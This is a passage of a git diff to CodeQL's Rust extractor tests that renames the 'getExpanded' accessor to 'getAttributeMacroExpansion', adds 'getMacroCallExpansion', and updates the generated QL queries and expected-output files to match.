a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from ExternBlock x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql index 03ef38925eab..cbcfd462473c 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - ExternCrate x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - int getNumberOfAttrs, string hasIdentifier, string hasRename, string hasVisibility + ExternCrate x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasIdentifier, string hasRename, + string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,11 +15,15 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and (if x.hasRename() then hasRename = "yes" else hasRename = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasIdentifier:", - hasIdentifier, "hasRename:", hasRename, "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasIdentifier:", hasIdentifier, "hasRename:", hasRename, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.ql b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.ql index 28cdb0138d97..0c7c0e8c89dc 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from ExternCrate x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Function/Function.expected b/rust/ql/test/extractor-tests/generated/Function/Function.expected index e37c985985a7..d30ef684493d 100644 --- a/rust/ql/test/extractor-tests/generated/Function/Function.expected +++ b/rust/ql/test/extractor-tests/generated/Function/Function.expected @@ -1,2 +1,2 @@ -| gen_function.rs:3:1:4:38 | fn foo | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | hasAbi: | no | hasBody: | yes | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | yes | hasVisibility: | no | hasWhereClause: | no | -| gen_function.rs:7:5:7:13 | fn bar | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | hasAbi: | no | hasBody: | no | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_function.rs:3:1:4:38 | fn foo | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | yes | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | yes | hasVisibility: | no | hasWhereClause: | no | +| gen_function.rs:7:5:7:13 | fn bar | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | no | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | no | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Function/Function.ql b/rust/ql/test/extractor-tests/generated/Function/Function.ql index 162f8af6d753..3c368187c296 100644 --- a/rust/ql/test/extractor-tests/generated/Function/Function.ql +++ b/rust/ql/test/extractor-tests/generated/Function/Function.ql @@ -4,7 +4,7 @@ import TestUtils from Function x, string hasParamList, int getNumberOfAttrs, string hasExtendedCanonicalPath, - string hasCrateOrigin, string hasExpanded, string hasAbi, string hasBody, + string hasCrateOrigin, string hasAttributeMacroExpansion, string hasAbi, string hasBody, string hasGenericParamList, string isAsync, string isConst, string isDefault, string isGen, string isUnsafe, string hasName, string hasRetType, string hasVisibility, string hasWhereClause where @@ -18,7 +18,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and (if x.hasAbi() then hasAbi = "yes" else hasAbi = "no") and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -33,7 +37,7 @@ where if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasParamList:", hasParamList, "getNumberOfAttrs:", getNumberOfAttrs, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "hasAbi:", hasAbi, "hasBody:", hasBody, "hasGenericParamList:", - hasGenericParamList, "isAsync:", isAsync, "isConst:", isConst, "isDefault:", isDefault, "isGen:", - isGen, "isUnsafe:", isUnsafe, "hasName:", hasName, "hasRetType:", hasRetType, "hasVisibility:", - hasVisibility, "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasAbi:", hasAbi, "hasBody:", hasBody, + "hasGenericParamList:", hasGenericParamList, "isAsync:", isAsync, "isConst:", isConst, + "isDefault:", isDefault, "isGen:", isGen, "isUnsafe:", isUnsafe, "hasName:", hasName, + "hasRetType:", hasRetType, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql index 7a994831e7db..4bb6e2852cb9 100644 --- a/rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from Function x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl.ql b/rust/ql/test/extractor-tests/generated/Impl/Impl.ql index cc7ffd762088..fa92053a2172 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl.ql +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl.ql @@ -3,7 +3,7 @@ import codeql.rust.elements import TestUtils from - Impl x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, + Impl x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAttributeMacroExpansion, string hasAssocItemList, int getNumberOfAttrs, string hasGenericParamList, string isConst, string isDefault, string isUnsafe, string hasSelfTy, string hasTrait, string hasVisibility, string hasWhereClause @@ -16,7 +16,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and (if x.hasAssocItemList() then hasAssocItemList = "yes" else hasAssocItemList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and @@ -28,7 +32,7 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "hasAssocItemList:", hasAssocItemList, "getNumberOfAttrs:", - getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "isConst:", isConst, "isDefault:", - isDefault, "isUnsafe:", isUnsafe, "hasSelfTy:", hasSelfTy, "hasTrait:", hasTrait, - "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasAssocItemList:", hasAssocItemList, + "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "isConst:", + isConst, "isDefault:", isDefault, "isUnsafe:", isUnsafe, "hasSelfTy:", hasSelfTy, "hasTrait:", + hasTrait, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.ql similarity index 76% rename from rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.ql index dc85f4c06fdb..3496b9cebe79 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from Impl x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected index b5bf260e2f40..915d6847799e 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected @@ -1 +1 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasExpanded: | yes | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | +| gen_macro_call.rs:5:5:5:11 | todo!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql index c9fa32e3c00e..b9461abfcf18 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - MacroCall x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - int getNumberOfAttrs, string hasPath, string hasTokenTree + MacroCall x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasPath, string hasTokenTree, + string hasMacroCallExpansion where toBeTested(x) and not x.isUnknown() and @@ -14,10 +15,16 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasPath() then hasPath = "yes" else hasPath = "no") and - if x.hasTokenTree() then hasTokenTree = "yes" else hasTokenTree = "no" + (if x.hasTokenTree() then hasTokenTree = "yes" else hasTokenTree = "no") and + if x.hasMacroCallExpansion() then hasMacroCallExpansion = "yes" else hasMacroCallExpansion = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasPath:", hasPath, - "hasTokenTree:", hasTokenTree + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasPath:", hasPath, "hasTokenTree:", hasTokenTree, "hasMacroCallExpansion:", + hasMacroCallExpansion diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..7931273e757e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from MacroCall x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.ql b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.ql similarity index 79% rename from rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.ql index be63430c9edc..6ce5fd6e7c88 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from MacroCall x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getMacroCallExpansion() diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql index ed235d8312a6..3ec25748abd4 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - MacroDef x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - string hasArgs, int getNumberOfAttrs, string hasBody, string hasName, string hasVisibility + MacroDef x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, string hasArgs, int getNumberOfAttrs, string hasBody, + string hasName, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,12 +15,17 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and (if x.hasArgs() then hasArgs = "yes" else hasArgs = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "hasArgs:", hasArgs, "getNumberOfAttrs:", getNumberOfAttrs, - "hasBody:", hasBody, "hasName:", hasName, "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasArgs:", hasArgs, + "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, "hasName:", hasName, "hasVisibility:", + hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.ql b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.ql index cc97ad20927b..be2992839166 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from MacroDef x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/MacroItems/gen_macro_items.rs b/rust/ql/test/extractor-tests/generated/MacroItems/gen_macro_items.rs index 08914ad04525..f7d8c9c42131 100644 --- a/rust/ql/test/extractor-tests/generated/MacroItems/gen_macro_items.rs +++ b/rust/ql/test/extractor-tests/generated/MacroItems/gen_macro_items.rs @@ -1,6 +1,14 @@ // generated by codegen, do not edit -// A sequence of items generated by a `MacroCall`. For example: +// A sequence of items generated by a macro. For example: mod foo{ include!("common_definitions.rs"); + + #[an_attribute_macro] + fn foo() { + println!("Hello, world!"); + } + + #[derive(Debug)] + struct Bar; } diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql index a04df90d75d0..5e1ebacd573f 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - MacroRules x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - int getNumberOfAttrs, string hasName, string hasTokenTree, string hasVisibility + MacroRules x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasName, string hasTokenTree, + string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,11 +15,15 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasName() then hasName = "yes" else hasName = "no") and (if x.hasTokenTree() then hasTokenTree = "yes" else hasTokenTree = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasName:", hasName, - "hasTokenTree:", hasTokenTree, "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasName:", hasName, "hasTokenTree:", hasTokenTree, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.ql b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.ql index 4fdf9f944698..b7b01f36fe70 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from MacroRules x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Module/Module.expected b/rust/ql/test/extractor-tests/generated/Module/Module.expected index 18f7e911fe3f..9383e08f2815 100644 --- a/rust/ql/test/extractor-tests/generated/Module/Module.expected +++ b/rust/ql/test/extractor-tests/generated/Module/Module.expected @@ -1,3 +1,3 @@ -| gen_module.rs:3:1:4:8 | mod foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | -| gen_module.rs:5:1:7:1 | mod bar | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | getNumberOfAttrs: | 0 | hasItemList: | yes | hasName: | yes | hasVisibility: | no | -| lib.rs:1:1:1:15 | mod gen_module | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | +| gen_module.rs:3:1:4:8 | mod foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | +| gen_module.rs:5:1:7:1 | mod bar | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasItemList: | yes | hasName: | yes | hasVisibility: | no | +| lib.rs:1:1:1:15 | mod gen_module | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Module/Module.ql b/rust/ql/test/extractor-tests/generated/Module/Module.ql index 8cf7f20a20fb..bd668e40b66a 100644 --- a/rust/ql/test/extractor-tests/generated/Module/Module.ql +++ b/rust/ql/test/extractor-tests/generated/Module/Module.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - Module x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - int getNumberOfAttrs, string hasItemList, string hasName, string hasVisibility + Module x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasItemList, string hasName, + string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,11 +15,15 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasItemList() then hasItemList = "yes" else hasItemList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasItemList:", hasItemList, - "hasName:", hasName, "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasItemList:", hasItemList, "hasName:", hasName, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.expected similarity index 100% rename from rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.expected rename to rust/ql/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.expected diff --git a/rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.ql b/rust/ql/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.ql similarity index 77% rename from rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.ql index 139b6d007dd6..1a7c70f63b67 100644 --- a/rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from Module x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Static/Static.ql b/rust/ql/test/extractor-tests/generated/Static/Static.ql index 84a5077826bd..96a1fbd9814f 100644 --- a/rust/ql/test/extractor-tests/generated/Static/Static.ql +++ b/rust/ql/test/extractor-tests/generated/Static/Static.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Static x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasExpanded, - int getNumberOfAttrs, string hasBody, string isMut, string isStatic, string isUnsafe, - string hasName, string hasTypeRepr, string hasVisibility + Static x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasBody, string isMut, + string isStatic, string isUnsafe, string hasName, string hasTypeRepr, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -15,7 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and - (if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.isMut() then isMut = "yes" else isMut = "no") and @@ -25,6 +29,6 @@ where (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasExpanded:", hasExpanded, "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, "isMut:", - isMut, "isStatic:", isStatic, "isUnsafe:", isUnsafe, "hasName:", hasName, "hasTypeRepr:", - hasTypeRepr, "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", 